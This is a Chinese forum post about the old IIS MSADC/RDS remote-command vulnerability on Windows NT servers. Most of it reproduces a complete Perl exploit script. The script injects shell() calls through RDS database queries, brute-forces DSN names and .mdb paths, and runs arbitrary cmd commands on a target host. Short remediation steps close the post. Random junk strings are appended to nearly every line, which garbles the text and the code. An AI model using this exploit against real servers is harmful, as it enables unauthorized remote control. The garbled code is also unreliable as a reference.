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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) btoye \ rl  
^&F8NEb=2>  
涉及程序: ~,3+]ts='\  
Microsoft NT server o *)>aw  
L}5nq@Uu)  
描述: .xo#rt9_"=  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 LfOXgn\  
!LB#K?I  
详细: ;)].Dj9  
如果你没有时间读详细内容的话,就删除:  G`8i{3:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll m%hI@'  
有关的安全问题就没有了。 d#xi_L!  
]awu7}C9Z  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 luXcr H+w  
0`VA} c  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Mhp6,JL  
关于利用ODBC远程漏洞的描述,请参看: 3]"RaI4Q0  
1ml>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *;@V5[^3I?  
+NWhvs  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 '0|0rwx  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp xo3bY6<n  
V_+XZ+7Lx}  
这里不再论述。 }GI8p* ]o=  
-7{qTe {  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9>?3FMKdY  
)RV.N}NU  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset <*k]Aa3y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! uU_lC5A|  
;%wQnhg  
6+`+$s0  
#将下面这段保存为txt文件,然后: "perl -x 文件名" _=l8e-6r  
3"afrA  
#!perl d h5%  
# |:)UNb?R"O  
# MSADC/RDS 'usage' (aka exploit) script C]H'z  
# o+Cd\D69S  
# by rain.forest.puppy "g}mxPe  
# x[L/d"Wf  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me >F7v'-*{  
# beta test and find errors! vU|=" #  
|hGi8  
use Socket; use Getopt::Std; 4 :m/w!q$  
getopts("e:vd:h:XR", \%args); d0ZbusHHb  
QE8;Jk-  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )2vkaR  
p+6L qk<  
if (!defined $args{h} && !defined $args{R}) { P(h[QAM  
print qq~ ^}Vx5[  
Usage: msadc.pl -h <host> { -d <delay> -X -v } VaKBS/y"  
-h <host> = host you want to scan (ip or domain) ~Psv[b=]  
-d <seconds> = delay between calls, default 1 second uRIa Nwohv  
-X = dump Index Server path table, if available a(cZ]`s]*  
-v = verbose JSO'. [N  
-e = external dictionary file for step 5 Ujb7uho  
luLt~A3H$  
Or a -R will resume a command session Ew.a*[W''  
DVC<P}/  
~; exit;} W<']Q_su  
y*K]z  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; .zDm{_'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} LYM(eK5V  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  3"B$M  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ]CL t Km  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} XNZW J  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } s,~)5nL  
>2kjd  
if (!defined $args{R}){ $ret = &has_msadc; Owt|vceT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} zNg8Oq&  
67,@*cK3?J  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `]*BDSvE  
. "cmd /c "; 7l+>WB_]  
$in=<STDIN>; chomp $in; %N.qu_,IZ  
$command="cmd /c " . $in ; w+ MCOAB  
!u0|{6U  
if (defined $args{R}) {&load; exit;} (zv)cw%  
(>.+tq}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; C{g Y*+  
&try_btcustmr; LS(J%\hMDm  
b Ag>;e(  
print "\nStep 2: Trying to make our own DSN..."; j=>:{`*c  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; /U1&#"P  
w]-,X`  
print "\nStep 3: Trying known DSNs..."; H<YhO&D*u  
&known_dsn; Ic!8$NhRS  
;`CNe$y   
print "\nStep 4: Trying known .mdbs..."; T1Gy_ G/  
&known_mdb; ;Nfd  
fG{ 9doUD  
if (defined $args{e}){ d]bM,`K* 6  
print "\nStep 5: Trying dictionary of DSN names..."; H6fR6Kr4j  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !/]vt?v#^  
(j*1sk  
print "Sorry Charley...maybe next time?\n"; . PAR  
exit; 4I %/}+Q  
I[td:9+hK@  
############################################################################## ICbT{Mla  
]Sl]G6#Iwv  
sub sendraw { # ripped and modded from whisker IJnh@?BC  
sleep($delay); # it's a DoS on the server! At least on mine... +xGz~~iNh  
my ($pstr)=@_; 4=b{k,kzgA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V( /=0H/ F  
die("Socket problems\n"); 4pkTOQq_tQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ $d[ -feU  
select(S); $|=1; qjc8$#zXS  
print $pstr; my @in=<S>; qYi<GI*|@  
select(STDOUT); close(S); gr&Rkuyfv  
return @in; <;T$?J9  
} else { die("Can't connect...\n"); }} {\87]xJ  
Hf^Tok^6@]  
############################################################################## z'9Mg]&>  
h_w_OCC&2  
sub make_header { # make the HTTP request zc,kHO|  
my $msadc=<<EOT T d6Gu"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 gp?|UMA9 .  
User-Agent: ACTIVEDATA JE[+  
Host: $ip Xfq]vQ/{  
Content-Length: $clen ]n/fB|tE  
Connection: Keep-Alive l>H G|ol  
pN]$|#%q(  
ADCClientVersion:01.06 @X\2K?c(v  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 #!h +K"wX  
Y64B"J=P 9  
--!ADM!ROX!YOUR!WORLD! x?|C-v  
Content-Type: application/x-varg c[a1 Md&  
Content-Length: $reqlen qUW>qi,  
vU|.Gw  
EOT Z T5p  
; $msadc=~s/\n/\r\n/g; 6Eu&%`  
return $msadc;} @Z50S 8  
Gkfc@[Z V  
############################################################################## .W9/*cZV0  
!edgziuO  
sub make_req { # make the RDS request Sn _zhQxG  
my ($switch, $p1, $p2)=@_; Ob|[/NN  
my $req=""; my $t1, $t2, $query, $dsn; l:Y$A$W]>  
:2n(WXFFI  
if ($switch==1){ # this is the btcustmr.mdb query 1.5lJ:[G  
$query="Select * from Customers where City=" . make_shell(); ' YONRha  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . tFYIKiq2  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $S|2'jc  
8/4Gr8 o  
elsif ($switch==2){ # this is general make table query aD5G0d?u  
$query="create table AZZ (B int, C varchar(10))"; X?F$jX|c  
$dsn="$p1";} uy,ySBY  
A{7N#-h_  
elsif ($switch==3){ # this is general exploit table query ~6hG"t]:  
$query="select * from AZZ where C=" . make_shell(); I8 <s4q  
$dsn="$p1";} ElEa*70~g  
gw1| ?C  
elsif ($switch==4){ # attempt to hork file info from index server v7l4g&  
$query="select path from scope()"; }PR^Dj.  
$dsn="Provider=MSIDXS;";} K%p*:P  
/&+6nOP  
elsif ($switch==5){ # bad query fGv`.T_d  
$query="select"; ItoSORVV  
$dsn="$p1";} HxVQeyOR  
})l+-H"  
$t1= make_unicode($query); yk5T"# '+  
$t2= make_unicode($dsn); }UzO_&Z#6  
$req = "\x02\x00\x03\x00"; <IF\;,.c  
$req.= "\x08\x00" . pack ("S1", length($t1)); jZ'y_  
$req.= "\x00\x00" . $t1 ; MI!JZI$z5  
$req.= "\x08\x00" . pack ("S1", length($t2)); FZ)Y<r8|s  
$req.= "\x00\x00" . $t2 ; 7{vnhl(Z  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~YuRi#CTD:  
return $req;} |sw&sfH[FD  
AR}M*sSh  
############################################################################## `B`/8Cvg  
:*2+t-  
sub make_shell { # this makes the shell() statement F7(~v2|  
return "'|shell(\"$command\")|'";} lRn6Zh  
v!;E1  
############################################################################## t `4^cd5V  
d E@R7yU@  
sub make_unicode { # quick little function to convert to unicode `;^%t  
my ($in)=@_; my $out; @UO=)PxN3  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Z {ntF  
return $out;} "~h.u  
aBM'ROQ  
############################################################################## #"M 'Cs  
C/P,W>8  
sub rdo_success { # checks for RDO return success (this is kludge) Z?%j5G=4w  
my (@in) = @_; my $base=content_start(@in); nI4xK  
if($in[$base]=~/multipart\/mixed/){ NLJD}{8Ot  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Kis\Rg  
return 0;} u1 uu_*  
Bx&.Tj  
############################################################################## J3sO%4sYR  
k3m|I*_\L  
sub make_dsn { # this makes a DSN for us ?80@+y]  
my @drives=("c","d","e","f"); + R)x5  
print "\nMaking DSN: "; Q#@gOn=W\  
foreach $drive (@drives) { O=1uF  
print "$drive: "; c;w~-7Q*|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . JH~ve  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" HrA6wn\O  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Xu1l6jr_  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; u.gh04{5  
return 0 if $2 eq "404"; # not found/doesn't exist *JG?^G"l  
if($2 eq "200") { 6e@ O88=  
foreach $line (@results) { AJrwl^ lm  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~6'6v 8  
} return 0;} P,"z  
{Izg1 N  
############################################################################## xG_ ;F  
5eC5oX>  
sub verify_exists { +q]  
my ($page)=@_; a9GOY+;bf  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b`n+[UCPtn  
return $results[0];} D PnKr/  
{uO8VL5+Qx  
############################################################################## 9p!V?cH#8  
n=RAE^[M  
sub try_btcustmr { XN"V{;OP1  
my @drives=("c","d","e","f"); Z'GO p?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /UjRuUC]  
NQ<~$+{  
foreach $dir (@dirs) { I}Z[F,}*J  
print "$dir -> "; # fun status so you can see progress -A9 !Y{Z  
foreach $drive (@drives) { Y#PbC  
print "$drive: "; # ditto ,{c9Lv%@J  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; #VC^><)3  
$reqlenlen=length( "$reqlen" ); (ju-r*0  
$clen= 206 + $reqlenlen + $reqlen; r0kA47  
J+&AtGq]u  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); J p .wg  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} CF^7 {g(y_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} -8tWc]c |4  
q*A2>0O  
############################################################################## \%NhggS*  
@+}Q<  
sub odbc_error { )BTJs)E  
my (@in)=@_; my $base; ]}9y>+>  
my $base = content_start(@in); #;H,`r  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this QB@qzgEJ!,  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f? F i{m  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8'*z>1ZS5  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z`"UT#^SI  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,ewg3mYHC&  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Ts;W,pgP  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Wuosr3P  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} .c"UlOZ&w^  
2 < &-  
############################################################################## eEn_aX  
bm1ngI1oI  
sub verbose { 5v~Y>  
my ($in)=@_; $'X*L e@k  
return if !$verbose; tZa)sbz  
print STDOUT "\n$in\n";} B>o\;)l3O  
vD) LRO Z  
############################################################################## v%&f00  
1q~U3'l:$  
sub save { !j4C:L3F  
my ($p1, $p2, $p3, $p4)=@_; "JVz v U]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; D +)6#i Y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; S:vv*5  
close OUT;} {H $\,  
5DyN=[b  
############################################################################## c ~YD|l  
^V_acAuS^  
sub load { V{Idj\~Jh  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ItKwB+my  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 1elcP`N1  
@p=<IN>; close(IN); ]qXHalHY  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); FTCp3g  
$target= inet_aton($ip) || die("inet_aton problems"); -ihF)^"a  
print "Resuming to $ip ..."; }#<Sq57n  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;y6Jo  
if($p[1]==1) { A>>@&c:(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ]02 l!"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1y0.tdI(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 2I?HBz1v  
if (rdo_success(@results)){print "Success!\n";} j#&sZ$HQ4  
else { print "failed\n"; verbose(odbc_error(@results));}} 4>Uo0NfL  
elsif ($p[1]==3){ l(=#c/f  
if(run_query("$p[3]")){  e^&YQl  
print "Success!\n";} else { print "failed\n"; }} PBn(k>=+  
elsif ($p[1]==4){ (fh:q2E#  
if(run_query($drvst . "$p[3]")){ NFLmM  
print "Success!\n"; } else { print "failed\n"; }} UUb!2sO  
exit;} S;ulJ*qv  
DGHX:Ft#  
############################################################################## 83i%3[L  
gSR&CnqZ<  
sub create_table { dhK$ XG  
my ($in)=@_; a4`@z:l  
$reqlen=length( make_req(2,$in,"") ) - 28; 7R) )(-  
$reqlenlen=length( "$reqlen" ); e,~c~Db* Q  
$clen= 206 + $reqlenlen + $reqlen; &v4w3'@1  
my @results=sendraw(make_header() . make_req(2,$in,"")); #yr19i ?  
return 1 if rdo_success(@results);   |J(]  
my $temp= odbc_error(@results); verbose($temp); mu"]B]  
return 1 if $temp=~/Table 'AZZ' already exists/; .j}u'!LKul  
return 0;} Rdt8jY6F/  
nQ$N(2<Fe  
############################################################################## U%k e 5uwP  
`Q(ac| 0  
sub known_dsn { Q^MB%L;D  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go c_ygwO3.Q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", }lpcbm  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", niy@'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4#2iL+   
@z/]!n\~  
foreach $dSn (@dsns) { i6`8yw  
print ".";  _&(ij(H  
next if (!is_access("DSN=$dSn")); JEHV \ =  
if(create_table("DSN=$dSn")){ zZ32K@  
print "$dSn successful\n"; 'hya#rC&(  
if(run_query("DSN=$dSn")){ K7f-g]Ibdn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { m qw!C  
print "Something's borked. Use verbose next time\n";}}} print "\n";} lmmyDg1R  
[7I|8  
############################################################################## )&dhE^ O  
d}l^yln  
sub is_access { cC}s5`  
my ($in)=@_; @bqCs^U35  
$reqlen=length( make_req(5,$in,"") ) - 28; ?sS'T7r v  
$reqlenlen=length( "$reqlen" ); p*npY"}v  
$clen= 206 + $reqlenlen + $reqlen; YSa:"A  
my @results=sendraw(make_header() . make_req(5,$in,"")); hq,;H40%/  
my $temp= odbc_error(@results); [tD*\\IA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); iBo-ANnK9  
return 0;} Uw&+zJ  
o~4n8  
############################################################################## !zJ.rYZ=g`  
~-:CN(U  
sub run_query { &PgdCijGq;  
my ($in)=@_;  v$tS 2N2  
$reqlen=length( make_req(3,$in,"") ) - 28; #[KwR\b{:+  
$reqlenlen=length( "$reqlen" ); :X4\4B*~  
$clen= 206 + $reqlenlen + $reqlen; M9&tys[KX  
my @results=sendraw(make_header() . make_req(3,$in,"")); KFfwZkj{  
return 1 if rdo_success(@results); wj'iU&aca  
my $temp= odbc_error(@results); verbose($temp); ycE<7W  
return 0;} @nT8[v  
so8-e  
############################################################################## 23OV y^b  
\FKIEg+(2  
sub known_mdb { 6op\g].P  
my @drives=("c","d","e","f","g"); XdS<51 C  
my @dirs=("winnt","winnt35","winnt351","win","windows"); YKx0Zs  
my $dir, $drive, $mdb; [ThzLk#m  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; bs`/k&'  
.86..1  
# this is sparse, because I don't know of many A.h?#%TLL  
my @sysmdbs=( "\\catroot\\icatalog.mdb", @B^'W'&C  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ]yIy~V  
"\\system32\\certmdb.mdb", <.v6w*+{/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% n9J>yud|  
^Q OvK>W<  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", FN,uD:a  
"\\cfusion\\cfapps\\forums\\forums_.mdb", B0KM~cCPQP  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", <bjy<98LT  
"\\cfusion\\cfapps\\security\\realm_.mdb", .N'UnKz  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |1<Z3\+_/  
"\\cfusion\\database\\cfexamples.mdb", ^CE:?>a$  
"\\cfusion\\database\\cfsnippets.mdb", *ap#*}r!Nk  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", hN:Z-el  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lLDHx3+  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ^7''x,I  
"\\cfusion\\database\\smpolicy.mdb", .XE]vo  
"\\cfusion\\database\cypress.mdb", ?#[K&$}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", b gD Dys  
"\\website\\cgi-win\\dbsample.mdb", 3AL.UBj&}  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", $I/p6  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Y$Ke{6 4  
); #these are just /vV 0$vg  
foreach $drive (@drives) { .Lp-'!i  
foreach $dir (@dirs){ e=R} 4`  
foreach $mdb (@sysmdbs) { .cabw+& 7  
print "."; <5#e.w  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :_H88/?RR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; *&PgDAQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ n^%u9H  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; vJ'ho  
} else { print "Something's borked. Use verbose next time\n"; }}}}} s6]f#s5o  
bc"N  
foreach $drive (@drives) { )~n}ieS  
foreach $mdb (@mdbs) { ' FK"-)s  
print "."; Wm,,OioK  
if(create_table($drv . $drive . $dir . $mdb)){ fE:2MW!)*  
print "\n" . $drive . $dir . $mdb . " successful\n"; [5 V  
if(run_query($drv . $drive . $dir . $mdb)){ z7_./ksQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; d{m0uX56  
} else { print "Something's borked. Use verbose next time\n"; }}}} Fi`:G}   
} z[rB/ |2  
o99 a=x6  
############################################################################## *o#`lH  
51,m^veO  
sub hork_idx { Ii8jY_  
print "\nAttempting to dump Index Server tables...\n"; P}I*SV0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [K KoEZ  
$reqlen=length( make_req(4,"","") ) - 28; `Qhh{  
$reqlenlen=length( "$reqlen" ); p(8\w-6  
$clen= 206 + $reqlenlen + $reqlen; :Rn9rdX  
my @results=sendraw2(make_header() . make_req(4,"","")); xle29:?l  
if (rdo_success(@results)){ wf4Q}l2,d  
my $max=@results; my $c; my %d; F)IP~BE-k  
for($c=19; $c<$max; $c++){ =3:ltI.'*I  
$results[$c]=~s/\x00//g; ~;W%s  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; W{h7+X]Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; RW)C<g  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; L;  ~=(  
$d{"$1$2"}="";} pi{ahuI#_o  
foreach $c (keys %d){ print "$c\n"; } + ThKqC_  
} else {print "Index server doesn't seem to be installed.\n"; }} 72 6y/o  
8xX{y#  
############################################################################## 2P=;r:cx  
HHYcFoJwYN  
sub dsn_dict { <*+ MBF  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ivq4/Y] -X  
while(<IN>){ pDLo`F}A  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @RP|?Xc{?  
next if (!is_access("DSN=$dSn")); J\*d4I<(Rt  
if(create_table("DSN=$dSn")){ |H4'*NP"  
print "$dSn successful\n"; }VGiT~2$  
if(run_query("DSN=$dSn")){ x,%&[ 6(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 34=0.{qn  
print "Something's borked. Use verbose next time\n";}}} D4|_?O3 |m  
print "\n"; close(IN);} WKf~K4BL>  
-UVWs2W'$  
############################################################################## \) ;rOqh  
;GAYcVB  
sub sendraw2 { # ripped and modded from whisker W#[!8d35$  
sleep($delay); # it's a DoS on the server! At least on mine... f/x "yUq  
my ($pstr)=@_; 1 W u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || SMyg=B\x?7  
die("Socket problems\n"); ;k8}D*?8  
if(connect(S,pack "SnA4x8",2,80,$target)){ }0( Na  
print "Connected. Getting data"; SD&[K 8-i2  
open(OUT,">raw.out"); my @in; f- <6T  
select(S); $|=1; print $pstr; 2YyZiOMSc  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} d#\n)eGr  
close(OUT); select(STDOUT); close(S); return @in; n3N"Ax  
} else { die("Can't connect...\n"); }} ~-+Zu<  
LDsYr]  
############################################################################## FScQS.qF  
?>Aff`dHY  
sub content_start { # this will take in the server headers D6u>[Z[T  
my (@in)=@_; my $c; .vO.g/o  
for ($c=1;$c<500;$c++) { W<Lrfo&=Y]  
if($in[$c] =~/^\x0d\x0a/){ g$b*#  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } .IXwa,  
else { return $c+1; }}} y#+o*(=fRE  
return -1;} # it should never get here actually ?la_ +;m  
f#5JAR  
############################################################################## 4lA+V,#  
K^H t$04  
sub funky { z"3c+?2  
my (@in)=@_; my $error=odbc_error(@in); (zBQ^97]  
if($error=~/ADO could not find the specified provider/){ Z3dd9m#.]  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; B/OO$=>(  
exit;} V1.F`3h~  
if($error=~/A Handler is required/){ 9K|lU:,  
print "\nServer has custom handler filters (they most likely are patched)\n"; }U9jsm  
exit;} N6;Z\\&0^q  
if($error=~/specified Handler has denied Access/){ j,XKu5w)Oi  
print "\nServer has custom handler filters (they most likely are patched)\n"; {rZ"cUm  
exit;}} WIm7p1U#V  
PS6`o  
############################################################################## cy4'q ?r  
Pc'?p  
sub has_msadc { N+5 ^h(~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); gEP E9ew  
my $base=content_start(@results); %S.U`(.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); vXbT E$  
return 0;} aTsfl  
J|-HZ-Wk|J  
######################## YHYB.H)  
{O) &5  
W#j,{&KVn  
解决方案: @3YuV=QfH  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll U[l%oLra  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2< Bv=B  
GDp p`'\  
拿出来充数 哈哈
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